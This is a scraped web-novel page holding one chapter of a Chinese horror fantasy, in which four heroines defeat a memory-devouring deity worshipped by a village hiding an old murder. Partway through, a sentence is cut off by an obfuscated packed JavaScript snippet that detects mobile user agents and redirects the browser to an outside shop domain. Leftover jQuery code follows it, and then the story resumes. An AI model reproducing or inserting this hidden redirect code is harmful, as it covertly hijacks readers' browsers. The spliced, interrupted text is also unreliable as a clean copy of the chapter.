文趣网 > 都市小说 > 论我在无限流里当“听诊器”的那些年 > 13. 墟雾吞忆,母神现形
    荒村的入口窄得像一道伤口,泥泞的土路从两排土坯房之间挤进去,两侧墙壁歪歪斜斜的,像是随时会倒下来把四个人活埋了。

    雾气是从脚底下升起来的。

    不知道什么时候,脚下那层黑乎乎的湿泥开始往外渗白烟,那些烟不往天上飘,就贴着地面翻涌,像是有东西在泥土下面翻了个身。

    碎烬辞的耳朵最先察觉到不对劲。

    听力这东西,在平常是好事,可在这种鬼地方,就是受刑。

    四面八方都是声音,哭声,念经声,拖拽声,哀求声,骨头碾在泥地里的咯吱声,什么东西在墙壁内侧刮擦的沙沙声,它们不分先后地涌进她脑子里,像一锅煮沸了的烂粥,每一勺都烫得人头疼。

    她皱着眉,狐狸耳朵压平了贴在脑袋上,浅金色的眼珠子不自觉地眯起来。

    她尽量把注意力集中在分辨上,主巷往前延伸,岔开了七八条小分支,每条分支里都有不同的循环在播放,像卡了带的录音机,反复播同一段痛苦。

    左边的巷子里有个姑娘在哭,哭得气都喘不上来,那种压着喉咙的啜泣,一听就知道是被捂过嘴的。

    右边的巷子里有个老头在说话,声音又低又哑,黏糊糊的像是含了一口浓痰,翻来覆去就是那几个字,听话,听话就没事了,乖,听话。

    正前方传来布料在地面上拖拽的摩擦声,沙,沙,沙,匀速的,不紧不慢的,有什么东西被从这头拽到那头。

    这些声音叠加在一起,一会儿近了,一会儿远了,中间还有大段大段的空白。

    那些空白最可怕。

    说着说着就断了,哭着哭着就没了,声音在半截上被人掐掉了,像是剪子铰了磁带,留下突兀的寂静,寂静里只有雾翻涌的、黏腻的声响。

    雾气越来越重了。

    碎烬辞正把耳朵往正前方送,忽然听见扶卿欢喊了一声小心。

    她指尖跳出一团银白的光,狐火的光,在雾里撑开了一道薄薄的屏障,那层灰白的雾撞在屏障上,像油烟撞上了玻璃窗,黏着不肯走。

    "别碰那雾。"扶卿欢侧过头,耳朵尖绷得直直的,狐眸里全是血丝,"这雾吃记忆,碰一点就忘一段。"

    碎烬辞转过头去看时卿昭,她蹲在路边,指尖有嫩绿的微光在闪。石缝里钻出来的草芽刚碰到那些灰雾,立刻就蔫了,边缘发黄卷曲,像被火燎过一样。

    她咬着下唇,把草木屏障又加厚了一层,声音细得像蚊蚋:

    "我刚才差点想不起来咱们是来干什么的了。"

    她抬手按了按额角,脸色白得很。

    "脑子里空了一块,就像……就像做梦醒来,明明知道梦里有东西,就是抓不住。"

    蚀忆雾。

    碎烬辞脑子里冒出这三个字,喉咙发紧。

    从进村开始,她就觉得不对劲。村口那个妇人被拖走的时候,周围那么多村民看着,每个人脸上都没有表情。那种麻木不是装出来的,是真的什么都没了,眼睛是空的。

    副本叫荒村淫祀,她一路在想这个"淫祀"是什么意思。

    现在看来,跟色情没什么关系。

    淫祀的意思,是滥行祭祀,是不该供的东西,他们偏要供。

    这片雾,这个村子世世代代供的,怕不是山神河神,是一头吃记忆的怪物。

    她把耳朵往前探了探,越过扶卿欢的屏障,越过时卿昭的草叶,越过前面沈寂渊紧绷的后背,一直探到巷子最深处。

    那里雾最浓,浓得像是活的,雾团在里面翻滚,搅动,发出细碎的、窸窸窣窣的声响。

    她听见了咀嚼声。

    不是牙齿嚼骨头那种脆响,是嘴唇反复抿合、舌头搅动唾液那种黏腻的、没完没了的声音,成千上万张小嘴同时在嚼什么东西。

    碎片的,零散的,跟嚼糯米纸似的。

    记忆。

    "东西在最里面。"她说,抬脚往前迈。

    银链子挂在腰上,走起来叮叮当当地响,金属碰撞的脆声在巷子里来回弹,她刻意让链子晃得厉害些,让声波铺开,在她身体周围形成一道看不见的墙。

    音域之内,灰雾靠不过来。

    "他们用祭祀杀过人的,全村一起封了口。但那不是根源。"她边走边说,耳朵一直竖着,捕捉前面的动静,"根源是那头邪神,在这儿盘了四十多年了。"

    沈寂渊走在她前面,步子很稳。

    她回头看了碎烬辞一眼,赤红的眼珠子在灰雾里亮得像烧红的炭。

    她什么也没说,只是把肩膀又挺直了些,周身那股戾气往外一放,轰的一声,像开了锅的热油泼了出去。灰雾被她逼退了好几尺,两侧土坯房的门板被震得嗡嗡响,里面有人影蠢蠢欲动,但刚探出半个身子,就被她的威压怼了回去。

    沈寂渊这个人,寡言,但身上那股狠劲是真的。

    她走在前头,脊背挺得笔直,明明也是女儿身,偏生像堵墙似的把后面三个人挡得严严实实。

    主巷走到头,雾忽然散了。

    眼前是一片空地,很大,比她们一路经过的所有窄巷都开阔,开阔得不像是在村子里。

    黄土夯的台子,有半人高,台面上坑坑洼洼的,到处是划痕,横一道竖一道,深的能塞进一根手指头。划痕里有黑乎乎的东西,分不清是泥还是别的什么,一股铁腥味若隐若现。

    台子中央杵着一根木头柱子,一人合抱那么粗,干裂得厉害,上面缠满了灰布条,布条褪得看不出原本的颜色,上面画着些扭曲的线条,弯弯绕绕的,像小孩随手涂的蚯蚓。

    柱子底下没有神像,没有牌位。

    只有一滩东西。

    灰白色的,半透明的,胶质似的,铺了一地,还在动。

    像一块被太阳晒化的猪油,但比那恶心一百倍。胶质里面浮着东西,大大小小的,圆滚滚的,一开始碎烬辞没看清是什么,后来光一晃,她看见了瞳仁。

    全是眼球。

    大的有拳头大,小的跟豆子差不多,密密麻麻地浮在那滩灰白色液体里,空洞洞地朝上翻着,没有焦点,但全都朝着她们这个方向。

    碎烬辞一瞬间头皮发麻,手不自觉攥紧了腰间的链子。

    从胶质里伸出来好多根触须,细细白白的,像剥了皮的豆芽,可是每一根末端都分着叉,叉开的小瓣上长着微型嘴唇,粉红色的一小片,一张一合地,嚼着空气里飘散的光点。

    四周的循环声响在这时候全停了。

    哭的也不哭了,念的也不念了,拖拽声也没了。

    整条荒村静得离谱,静得碎烬辞耳朵里嗡嗡响。

    只有那些小嘴唇在嚼,吧嗒,吧嗒,吧嗒,细碎得像是蚂蚁在啃饼干。

    胶质往下滴黏液,灰蒙蒙的,落在黄土台面上,台面上原先有的脚印、划痕、油渍,一点点就淡了,没了,像被橡皮擦蹭掉了。

    连空气里残存的声音回响都被抹了。

    "伊阿——"

    一声长腔从她们身后炸开。

    碎烬辞猛地转身,巷子两侧的房门全开了,一个接一个的虚影从门里飘出来,男女老少都有,穿着灰扑扑的旧衣裳,脸上一点血色都没有,动作齐刷刷地往台子前面跪。

    额头磕在泥地里,咚咚咚的闷响。

    "伊阿!伊阿!忘墟母神!忆蚀长存!"

    他们嘴里翻来覆去就是这几句,语调平平的,没有起伏,像复读机。

    碎烬辞注意到最前面跪着几个老头老太太,怀里抱着东西,有发黄的日记本,有洗得掉色的帕子,还有个抱着半截木头雕的小人,缺胳膊少腿的。他们手抖得厉害,哆嗦着把那些东西往胶质里扔。

    东西一沾上那滩灰白液体,就化了。

    融进去的瞬间,有细碎的光从里面飘出来,跟萤火虫似的,亮一下就灭了。

    触须涌上去卷住那些光粒,送进末端的小嘴唇里,吧嗒吧嗒嚼了。

    碎烬辞看得喉咙发干。

    那些是记忆,他们自己的记忆,一辈子的东西,就这么一把一把喂给了那团东西。

    "别盯着看!"

    扶卿欢一巴掌拍在碎烬辞肩膀上,把她拉退了两步。

    她忙得不可开交,十根手指翻飞着掐诀,银白的狐光一层叠一层,跟叠被子似的往四个人身上裹。

    "那东西能顺着视线爬过来!别看它的眼珠子!"

    碎烬辞赶紧把视线移开,余光扫到时卿昭,她脸色比刚才更白了,嘴唇都泛青,草木灵力几乎抽空了她全身的气力,嫩绿的屏障撑在她们四周,可碎烬辞能看见她小臂上的青筋都蹦出来了。

    "它……它在翻我们的记忆。"

    时卿昭的声音打着颤。

    "我脑子里好多画面在跳,小时候的,进副本之前的,刚才在大巴上你们说了什么话,一帧一帧往外蹦,跟放电影似的……"

    她又咬了咬下唇,眼眶红了:

    "它想用这些把我们钉在这儿,让我们光顾着回忆,顾不上反抗。"

    碎烬辞把眼睛闭上。

    眼睛不能看,她还有耳朵。

    她把超常听力全部集中到台子中央那团胶质上,听了很久。

    它没有情绪。

    它脑子里——如果那滩东西有脑子的话——没有任何恶意,也没有喜悦愤怒。

    它只是在吃。本能地吃。

    就像蜘蛛织网不是为了报复飞虫,只是饿了。这头邪神的本能就是遗忘,掠夺记忆,抹去痕迹,让一切回归空白。

    那些村民主动献祭,是想把痛苦忘掉,把罪孽洗掉。

    可忘着忘着,把自己也忘没了。

    四十年前那场淫祀,起因是村里人杀了人。具体杀了谁,怎么杀的,碎烬辞还没听全,但她听见了关键的一段——是一群村民在夜里偷偷聚在祭坛边上,把一个人绑在木柱子上,往柱子上浇了什么液体,那个人惨叫了很久。

    后来天亮了,柱子上只剩一团焦黑的痕迹。

    他们害怕了。

    全村人聚在一起商量了一宿,最后有人提出来,后山有个古老的祭祀法子,可以向忘墟母神献祭记忆,让母神把这件事从所有人的脑子里抹掉。

    他们试了。

    第一次献祭之后,那晚的记忆果然模糊了,谁动手绑的人,谁浇的油,谁点的火,全成了隔夜的梦,想不起来了。

    他们就更加虔诚地供,月月供,年年供,把跟这件事有关的一切都喂了进去。

    可那东西越喂胃口越大,慢慢地,不光喂惨案的记忆,连日常的、愉快的、琐碎的都吞了。

    最后全村人都变成了行尸走肉,活着,但里面空了。

    "用遗忘掩盖罪恶,是你们自己选的。"

    碎烬辞睁开眼,往前走了一步。银链子叮当作响。

    浅金色的眼睛对上那滩胶质里浮沉的千百颗眼球,她尽量不让嗓音发抖:

    "四十年前,你们绑了人,浇了油,点了火。你们杀了人。"

    "事后害怕了,不敢认罪,就求这头怪物吃掉你们的记忆。"

    "可你们忘了吗?伤痕能被吃干净,罪孽吃不了。罪孽是长在地里的,跟草一样,你割了它又长,你忘了他还在。"

    她的话音在空地上弹了几下。

    那些匍匐的虚影,齐刷刷颤了一下。

    念叨的祷词出现了卡顿,有几个人的头抬起来一半,又按回去了,手使劲捂着太阳穴,整个人蜷在地上抖。

    记忆在反噬。

    他们脑子里被强行抹掉的东西,被碎烬辞的话勾了回来,哪怕只是一丁点,也够他们受的。

    祭坛上的胶质猛地涌动了。

    那些眼球同时转过来,盯着碎烬辞,密密麻麻的视线全砸在她身上。

    她后背出了一层冷汗,脚底发软。

    但没等她反应,沈寂渊已经跨到了她前面,赤红的瞳孔里翻着杀意,她抬手一抓,空气中的戾气凝成了刃,半透明的,带着撕裂的尖啸,砍向来袭的触须。

    嗤啦——断了三五根。

    断面滋滋地冒灰水,断掉的触须掉在地上就化了,跟雪糕化在水泥地上似的。

    可更多的触须从胶质里钻出来,密密麻麻的,遮蔽了大半个天空。

    沈寂渊站在碎烬辞正前方,后背紧贴着碎烬辞的鼻尖,碎烬辞闻到她身上淡淡的血腥气。她没回头,绷紧的肩胛骨在碎烬辞视野里微微起伏,呼吸又深又重。

    "我挡着。"她说。

    只三个字,但每一个都像砸进地里的钉子。

    她周身的戾气全放了出来,赤红色的,像一张大网罩在四个人头上,挡住了铺天盖地的黏液和触须。可那蚀忆雾无孔不入,碎烬辞亲眼看见她后颈的皮肤上浮起一层灰白,她咬了咬牙,硬撑着没哼出声。

    祭坛上的胶质还在膨胀,越铺越大,几乎把整个黄土台面都盖

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731398|208960||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    满了。地面上所有的划痕、足迹、印子都在消失,连空气里残留的气味都在变淡。

    与此同时,四周涌上来大量幻象。

    被绑在柱子上的受害者,火光里扭曲的脸,深夜里几个人交头接耳的侧影,老妇人抱着婴儿往胶质里扔的扭曲画面,小孩子蜷在墙角捂着耳朵不敢出声的颤抖背影。

    一帧一帧,全是这四十年的惨剧。

    每一个画面砸进碎烬辞的耳朵,都带着对应的声音,惨叫,密谋,哭泣,还有那种黏糊糊的咀嚼声。

    她脑子里嗡的一声,差点站不稳。

    时卿昭在旁边干呕了一声,弯着腰,手撑着膝盖,另一只手还在拼命维持草木屏障。她的共情体质在这种幻象里最遭罪,别人的痛苦跟她自己的似的,压得她肩膀都在哆嗦。

    扶卿欢抬手打出几道幻术光刃,跟那些残忆幻象硬碰硬,火花四溅。

    可她额头上全是汗,平日里总带着三分笑意的狐狸眼此刻满是疲惫。

    "这些东西太实在了。"她喘着气说,"它用真记忆做底子,我编的假幻境怼不过去……得想别的法子。"

    碎烬辞已经撑不住了,耳朵里全是声音,乱七八糟的,根本分不清哪些是真的哪些是幻象。她弯下腰,双手捂住耳朵,可捂不住,那些声音从她手指缝里钻进来,从她的骨头里传进来。

    扶卿欢见她状态不对,一闪身挡在她面前,狐光再次撑开。

    但她说得对,幻术挡不住这东西。

    沈寂渊的戾气屏障也在裂,那些触须太多太密了,砍了又长,长了又砍,没完没了。

    碎烬辞看得见她的后背在细微地抖,蚀忆雾已经侵蚀了她的皮肤,灰白色的斑块从后颈蔓延到肩膀,她大概已经忘了一些事情,可她在咬牙撑,完全不退。

    时卿昭忽然发出一声短促的惊呼。

    草木之力在这一刻从她身上全部涌了出去,沿着地下的根脉蔓延,嘭的一声,祭坛四周同时钻出无数嫩绿的新芽,细小的枝条缠上了那滩灰白胶质。

    那些枝条裹着纯粹的生机,是干净的,没有被记忆污染过的力量。

    胶质被缠住的瞬间剧烈翻滚起来,里面的眼球噼噼啪啪地爆裂,又飞快地重新凝聚。

    触须胡乱抽打,有几根抽中了沈寂渊的肩膀,她闷哼了一声,单膝跪了下去,但手的动作没停,戾气刃风接着往外劈。

    碎烬辞站直了身子。

    耳朵里虽然还嗡嗡响,但她听见了别的东西。

    祭坛四周,灰雾翻涌之下,有另一些声音。

    很微弱,但很坚韧。

    是那些枉死者的残念。

    四十年前被绑在柱子上烧死的那个人,还有后来被献祭的其他人,他们的记忆被反复吃掉,可临死前那股不甘,那股恨意,那股"凭什么"的执念,蚀忆母神吃不掉。

    执念不是记忆,它是情绪,是骨头里的东西。

    碎烬辞抬起手,拨动了银链。

    叮,叮叮,叮——

    一串错落的金属音从链子上弹出去,穿过灰雾,穿过幻象,穿过触须交织的天罗地网,直奔那些被篡改的虚假记忆片段。

    音刃精准地劈开了村民自我欺骗的那层壳。

    一个跪在最前排的老妇人虚影猛地抬起了头。

    她浑浊的眼睛里忽然有了光,那种光很陌生,像很久没被人点亮过。她低头看着自己空空的双手,手指痉挛似的屈伸了几下,嘴里原本机械的祷词变了调:

    "我……我抱过那个孩子……那天晚上,我抱着她……"

    她哭了。

    哭声很老,很哑,像是喉咙里塞了四十年的沙子终于松动了。

    其他村民虚影也陆陆续续有了反应。有人开始捶自己的头,有人把脸埋进泥里嚎啕,有人朝祭坛的方向伸出手去,又缩回来。

    "停下献祭——"

    碎烬辞的声音从嗓子里挤出来,嘶哑但很响:

    "你们忘掉的,不用再想起来了。但是别再喂了。别再喂它了。你们每喂一口,就多困在这儿一天。"

    "它不是什么神,它就是你们心里的那个窟窿。你们越怕,它就越大。你们直面它,它就缩了。"

    老妇人颤巍巍地站起来,两条腿直打摆子。

    她朝着祭坛迈了一步,又迈了一步。

    怀里没有祭品了,她两手空空地走过去,站在那滩不断翻涌的灰白胶质前面,深深吸了一口气。

    然后她把手伸了进去。

    周围的村民倒抽冷气的声音此起彼伏。

    可老妇人没有抽回手,她在里面摸了一阵,摸出一个小小的、残缺的布偶,沾满了灰白色的黏液。布偶的棉花芯子露在外面,一只眼睛缝歪了,另一只早就掉了。

    那是她自己的孩子。

    四十年前,她把这孩子献祭了。

    她抱着布偶,蹲在地上,老迈的哭声像断了弦的二胡,扯得人心口发紧。

    祭坛中央的胶质剧烈扭曲了起来。

    草木枝条越缠越紧,音刃还在不断地切割着四周的幻象碎片,沈寂渊撑着地站起来,一把戾气刃攥在手里,随时准备最后一击。

    扶卿欢站在碎烬辞旁边,狐光已经暗淡得快灭了,但她的手还稳稳地掐着诀。

    时卿昭跪坐在地上,泪流满面,可嘴角是弯的。

    那些村民一个一个站起来,空着手走向祭坛,不再献上记忆,只是站在那里。

    他们把根断了。

    人和邪神之间的绳索,在这一刻,从中间崩开了。

    蚀忆母神的躯体开始缩小,胶质回缩,眼球一颗一颗沉下去,灰雾像退潮一样往地底下渗。

    风从巷子口灌进来,吹散了残余的白烟。

    碎烬辞站在原地,膝盖一软差点坐下去,被沈寂渊一把捞住了胳膊。

    她脸上灰白的斑正在褪去,新肉在长,她皱了皱眉,似乎丢了几段记忆,但没说什么,只是把碎烬辞的胳膊往上提了提,让她靠着自己站稳。

    "结束了?"时卿昭哑着嗓子问。

    碎烬辞闭着眼听了一会儿。

    祭坛四周的那些残念,那些枉死者的执念,正在慢慢淡下去。

    他们等到了。

    四十年了,终于有人替他们说出来,有人替他们看见了。

    村口的方向传来第一声鸡叫,灰蒙蒙的天边泛了一点白。

    "结束了。"碎烬辞说。